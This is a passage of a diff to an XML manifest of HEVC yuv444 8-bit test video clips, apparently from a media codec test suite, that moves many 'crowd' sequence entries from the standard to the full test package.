   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_mincu32.mp4">
-    <value>mime=video/hevc,size=209920,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2607424,package=standard</value>
+    <value>mime=video/hevc,size=209920,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2607424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_nodblk.mp4">
-    <value>mime=video/hevc,size=179888,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2232024,package=standard</value>
+    <value>mime=video/hevc,size=179888,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2232024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_pps_qp_opt.mp4">
-    <value>mime=video/hevc,size=178076,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209368,package=standard</value>
+    <value>mime=video/hevc,size=178076,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_pps_reflist_opt.mp4">
-    <value>mime=video/hevc,size=178076,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209368,package=standard</value>
+    <value>mime=video/hevc,size=178076,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_vui_hrd.mp4">
-    <value>mime=video/hevc,size=178076,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209368,package=standard</value>
+    <value>mime=video/hevc,size=178076,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_placebo.mp4">
-    <value>mime=video/hevc,size=187707,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2329736,package=standard</value>
+    <value>mime=video/hevc,size=187707,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2329736,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_profilenone.mp4">
-    <value>mime=video/hevc,size=178070,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209296,package=standard</value>
+    <value>mime=video/hevc,size=178070,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_psnr.mp4">
-    <value>mime=video/hevc,size=313540,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3902680,package=standard</value>
+    <value>mime=video/hevc,size=313540,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3902680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp0.mp4">
     <value>mime=video/hevc,size=14917577,width=854,height=480,frame-rate=50,profile=,level=,bitrate=186453136,package=full</value>
@@ -24954,223 +24954,223 @@
     <value>mime=video/hevc,size=11025992,width=854,height=480,frame-rate=50,profile=,level=,bitrate=137808320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=14781,width=854,height=480,frame-rate=50,profile=,level=,bitrate=168184,package=standard</value>
+    <value>mime=video/hevc,size=14781,width=854,height=480,frame-rate=50,profile=,level=,bitrate=168184,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=13254,width=854,height=480,frame-rate=50,profile=,level=,bitrate=149096,package=standard</value>
+    <value>mime=video/hevc,size=13254,width=854,height=480,frame-rate=50,profile=,level=,bitrate=149096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=12228,width=854,height=480,frame-rate=50,profile=,level=,bitrate=136272,package=standard</value>
+    <value>mime=video/hevc,size=12228,width=854,height=480,frame-rate=50,profile=,level=,bitrate=136272,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_rect0.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_rpt_hdrs.mp4">
-    <value>mime=video/hevc,size=178070,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209296,package=standard</value>
+    <value>mime=video/hevc,size=178070,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_sao0.mp4">
-    <value>mime=video/hevc,size=178154,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2210344,package=standard</value>
+    <value>mime=video/hevc,size=178154,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2210344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_sbh1.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_slower.mp4">
-    <value>mime=video/hevc,size=180903,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2244680,package=standard</value>
+    <value>mime=video/hevc,size=180903,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2244680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_slow.mp4">
-    <value>mime=video/hevc,size=169095,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2097112,package=standard</value>
+    <value>mime=video/hevc,size=169095,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2097112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng0.mp4">
-    <value>mime=video/hevc,size=251186,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3123248,package=standard</value>
+    <value>mime=video/hevc,size=251186,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3123248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng32.mp4">
-    <value>mime=video/hevc,size=178104,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209720,package=standard</value>
+    <value>mime=video/hevc,size=178104,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng64.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng8.mp4">
-    <value>mime=video/hevc,size=179334,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2225096,package=standard</value>
+    <value>mime=video/hevc,size=179334,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2225096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ssim.mp4">
-    <value>mime=video/hevc,size=282026,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3508760,package=standard</value>
+    <value>mime=video/hevc,size=282026,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3508760,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_strngintra0.mp4">
-    <value>mime=video/hevc,size=178464,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2214224,package=standard</value>
+    <value>mime=video/hevc,size=178464,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2214224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_superfast.mp4">
-    <value>mime=video/hevc,size=286006,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3558496,package=standard</value>
+    <value>mime=video/hevc,size=286006,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3558496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tc4.mp4">
-    <value>mime=video/hevc,size=179442,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226432,package=standard</value>
+    <value>mime=video/hevc,size=179442,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226432,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tc6.mp4">
-    <value>mime=video/hevc,size=179597,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2228368,package=standard</value>
+    <value>mime=video/hevc,size=179597,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2228368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tcm4.mp4">
-    <value>mime=video/hevc,size=179070,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2221784,package=standard</value>
+    <value>mime=video/hevc,size=179070,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2221784,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tcm6.mp4">
-    <value>mime=video/hevc,size=179451,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226544,package=standard</value>
+    <value>mime=video/hevc,size=179451,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226544,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tmp_lyrs.mp4">
-    <value>mime=video/hevc,size=178078,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209296,package=standard</value>
+    <value>mime=video/hevc,size=178078,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tmvp0.mp4">
-    <value>mime=video/hevc,size=179408,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226024,package=standard</value>
+    <value>mime=video/hevc,size=179408,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuinterdepth2.mp4">
-    <value>mime=video/hevc,size=182947,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2270256,package=standard</value>
+    <value>mime=video/hevc,size=182947,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2270256,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuinterdepth4.mp4">
-    <value>mime=video/hevc,size=180684,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2241968,package=standard</value>
+    <value>mime=video/hevc,size=180684,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2241968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuintradepth2.mp4">
-    <value>mime=video/hevc,size=178532,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2215072,package=standard</value>
+    <value>mime=video/hevc,size=178532,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2215072,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuintradepth4.mp4">
-    <value>mime=video/hevc,size=181981,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2258184,package=standard</value>
+    <value>mime=video/hevc,size=181981,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2258184,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tulimit2.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tulimit4.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ultrafast.mp4">
-    <value>mime=video/hevc,size=265630,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3303800,package=standard</value>
+    <value>mime=video/hevc,size=265630,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3303800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=153560,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1903520,package=standard</value>
+    <value>mime=video/hevc,size=153560,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1903520,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_veryslow.mp4">
-    <value>mime=video/hevc,size=179941,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2232656,package=standard</value>
+    <value>mime=video/hevc,size=179941,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2232656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_matrix.mp4">
-    <value>mime=video/hevc,size=178077,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178077,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_prim_bt2020.mp4">
-    <value>mime=video/hevc,size=178077,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178077,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_prim_bt709.mp4">
-    <value>mime=video/hevc,size=178077,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178077,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_transfer.mp4">
-    <value>mime=video/hevc,size=178077,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178077,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightb0weightp1.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightb1.mp4">
-    <value>mime=video/hevc,size=178893,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219584,package=standard</value>
+    <value>mime=video/hevc,size=178893,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightp0.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightp0weightb1.mp4">
-    <value>mime=video/hevc,size=178916,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219872,package=standard</value>
+    <value>mime=video/hevc,size=178916,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_wpp1.mp4">
-    <value>mime=video/hevc,size=178412,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2213568,package=standard</value>
+    <value>mime=video/hevc,size=178412,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2213568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_zerolatency.mp4">
-    <value>mime=video/hevc,size=216403,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2692320,package=standard</value>
+    <value>mime=video/hevc,size=216403,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2692320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1024x1024p50f32_2000kbps.mp4">
-    <value>mime=video/hevc,size=152791,width=1024,height=1024,frame-rate=50,profile=,level=,bitrate=1893408,package=standard</value>
+    <value>mime=video/hevc,size=152791,width=1024,height=1024,frame-rate=50,profile=,level=,bitrate=1893408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1024x576p50f32_1100kbps.mp4">
-    <value>mime=video/hevc,size=88002,width=1024,height=576,frame-rate=50,profile=,level=,bitrate=1083448,package=standard</value>
+    <value>mime=video/hevc,size=88002,width=1024,height=576,frame-rate=50,profile=,level=,bitrate=1083448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1024x768p50f32_1500kbps.mp4">
-    <value>mime=video/hevc,size=117288,width=1024,height=768,frame-rate=50,profile=,level=,bitrate=1449520,package=standard</value>
+    <value>mime=video/hevc,size=117288,width=1024,height=768,frame-rate=50,profile=,level=,bitrate=1449520,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1080x1920p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=296813,width=1080,height=1920,frame-rate=50,profile=,level=,bitrate=3693880,package=standard</value>
+    <value>mime=video/hevc,size=296813,width=1080,height=1920,frame-rate=50,profile=,level=,bitrate=3693880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1080x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18004,width=1080,height=64,frame-rate=50,profile=,level=,bitrate=208480,package=standard</value>
+    <value>mime=video/hevc,size=18004,width=1080,height=64,frame-rate=50,profile=,level=,bitrate=208480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1088x1920p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=296989,width=1088,height=1920,frame-rate=50,profile=,level=,bitrate=3696080,package=standard</value>
+    <value>mime=video/hevc,size=296989,width=1088,height=1920,frame-rate=50,profile=,level=,bitrate=3696080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1152x2048p50f32_4700kbps.mp4">
-    <value>mime=video/hevc,size=336856,width=1152,height=2048,frame-rate=50,profile=,level=,bitrate=4194424,package=standard</value>
+    <value>mime=video/hevc,size=336856,width=1152,height=2048,frame-rate=50,profile=,level=,bitrate=4194424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1280x1920p50f32_4900kbps.mp4">
-    <value>mime=video/hevc,size=354329,width=1280,height=1920,frame-rate=50,profile=,level=,bitrate=4412832,package=standard</value>
+    <value>mime=video/hevc,size=354329,width=1280,height=1920,frame-rate=50,profile=,level=,bitrate=4412832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1280x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17839,width=1280,height=64,frame-rate=50,profile=,level=,bitrate=206424,package=standard</value>
+    <value>mime=video/hevc,size=17839,width=1280,height=64,frame-rate=50,profile=,level=,bitrate=206424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1280x720p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=140320,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1737424,package=standard</value>
+    <value>mime=video/hevc,size=140320,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1737424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1280x960p50f32_2400kbps.mp4">
-    <value>mime=video/hevc,size=180442,width=1280,height=960,frame-rate=50,profile=,level=,bitrate=2238944,package=standard</value>
+    <value>mime=video/hevc,size=180442,width=1280,height=960,frame-rate=50,profile=,level=,bitrate=2238944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_128x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15834,width=128,height=128,frame-rate=50,profile=,level=,bitrate=181472,package=standard</value>
+    <value>mime=video/hevc,size=15834,width=128,height=128,frame-rate=50,profile=,level=,bitrate=181472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_128x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16161,width=128,height=192,frame-rate=50,profile=,level=,bitrate=185456,package=standard</value>
+    <value>mime=video/hevc,size=16161,width=128,height=192,frame-rate=50,profile=,level=,bitrate=185456,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_128x72p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15318,width=128,height=72,frame-rate=50,profile=,level=,bitrate=175224,package=standard</value>
+    <value>mime=video/hevc,size=15318,width=128,height=72,frame-rate=50,profile=,level=,bitrate=175224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_128x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15656,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179344,package=standard</value>
+    <value>mime=video/hevc,size=15656,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1440x1080p50f32_3100kbps.mp4">
-    <value>mime=video/hevc,size=232669,width=1440,height=1080,frame-rate=50,profile=,level=,bitrate=2891784,package=standard</value>
+    <value>mime=video/hevc,size=232669,width=1440,height=1080,frame-rate=50,profile=,level=,bitrate=2891784,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1440x1440p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=223247,width=1440,height=1440,frame-rate=50,profile=,level=,bitrate=3552848,package=standard</value>
+    <value>mime=video/hevc,size=223247,width=1440,height=1440,frame-rate=50,profile=,level=,bitrate=3552848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1440x1920p50f32_5500kbps.mp4">
     <value>mime=video/hevc,size=398386,width=1440,height=1920,frame-rate=50,profile=,level=,bitrate=4963544,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1440x960p50f32_2700kbps.mp4">
-    <value>mime=video/hevc,size=203107,width=1440,height=960,frame-rate=50,profile=,level=,bitrate=2522256,package=standard</value>
+    <value>mime=video/hevc,size=203107,width=1440,height=960,frame-rate=50,profile=,level=,bitrate=2522256,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_144x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16072,width=144,height=144,frame-rate=50,profile=,level=,bitrate=184344,package=standard</value>
+    <value>mime=video/hevc,size=16072,width=144,height=144,frame-rate=50,profile=,level=,bitrate=184344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_144x176p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16116,width=144,height=176,frame-rate=50,profile=,level=,bitrate=185000,package=standard</value>
+    <value>mime=video/hevc,size=16116,width=144,height=176,frame-rate=50,profile=,level=,bitrate=185000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_144x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16533,width=144,height=192,frame-rate=50,profile=,level=,bitrate=190112,package=standard</value>
+    <value>mime=video/hevc,size=16533,width=144,height=192,frame-rate=50,profile=,level=,bitrate=190112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_144x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16517,width=144,height=256,frame-rate=50,profile=,level=,bitrate=189896,package=standard</value>
+    <value>mime=video/hevc,size=16517,width=144,height=256,frame-rate=50,profile=,level=,bitrate=189896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_144x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15588,width=144,height=96,frame-rate=50,profile=,level=,bitrate=178296,package=standard</value>
+    <value>mime=video/hevc,size=15588,width=144,height=96,frame-rate=50,profile=,level=,bitrate=178296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1536x2048p50f32_6200kbps.mp4">
     <value>mime=video/hevc,size=449990,width=1536,height=2048,frame-rate=50,profile=,level=,bitrate=5608600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_160x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16830,width=160,height=240,frame-rate=50,profile=,level=,bitrate=193824,package=standard</value>
+    <value>mime=video/hevc,size=16830,width=160,height=240,frame-rate=50,profile=,level=,bitrate=193824,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_172x172p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16691,width=172,height=172,frame-rate=50,profile=,level=,bitrate=192056,package=standard</value>
+    <value>mime=video/hevc,size=16691,width=172,height=172,frame-rate=50,profile=,level=,bitrate=192056,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_176x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16014,width=176,height=144,frame-rate=50,profile=,level=,bitrate=183624,package=standard</value>
+    <value>mime=video/hevc,size=16014,width=176,height=144,frame-rate=50,profile=,level=,bitrate=183624,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_176x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15671,width=176,height=96,frame-rate=50,profile=,level=,bitrate=179336,package=standard</value>
+    <value>mime=video/hevc,size=15671,width=176,height=96,frame-rate=50,profile=,level=,bitrate=179336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1920x1080p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=307241,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3823936,package=standard</value>
+    <value>mime=video/hevc,size=307241,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3823936,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1920x1088p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=307548,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=3827768,package=standard</value>
+    <value>mime=video/hevc,size=307548,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=3827768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1920x1280p50f32_4900kbps.mp4">
-    <value>mime=video/hevc,size=355665,width=1920,height=1280,frame-rate=50,profile=,level=,bitrate=4429536,package=standard</value>
+    <value>mime=video/hevc,size=355665,width=1920,height=1280,frame-rate=50,profile=,level=,bitrate=4429536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1920x1440p50f32_5500kbps.mp4">
     <value>mime=video/hevc,size=397653,width=1920,height=1440,frame-rate=50,profile=,level=,bitrate=4954384,package=full</value>
@@ -25179,22 +25179,22 @@
     <value>mime=video/hevc,size=724175,width=1920,height=2560,frame-rate=50,profile=,level=,bitrate=9035912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_1920x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17141,width=1920,height=64,frame-rate=50,profile=,level=,bitrate=198000,package=standard</value>
+    <value>mime=video/hevc,size=17141,width=1920,height=64,frame-rate=50,profile=,level=,bitrate=198000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_192x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15890,width=192,height=128,frame-rate=50,profile=,level=,bitrate=182168,package=standard</value>
+    <value>mime=video/hevc,size=15890,width=192,height=128,frame-rate=50,profile=,level=,bitrate=182168,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_192x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16124,width=192,height=144,frame-rate=50,profile=,level=,bitrate=185096,package=standard</value>
+    <value>mime=video/hevc,size=16124,width=192,height=144,frame-rate=50,profile=,level=,bitrate=185096,package=full</value>
   </entry>
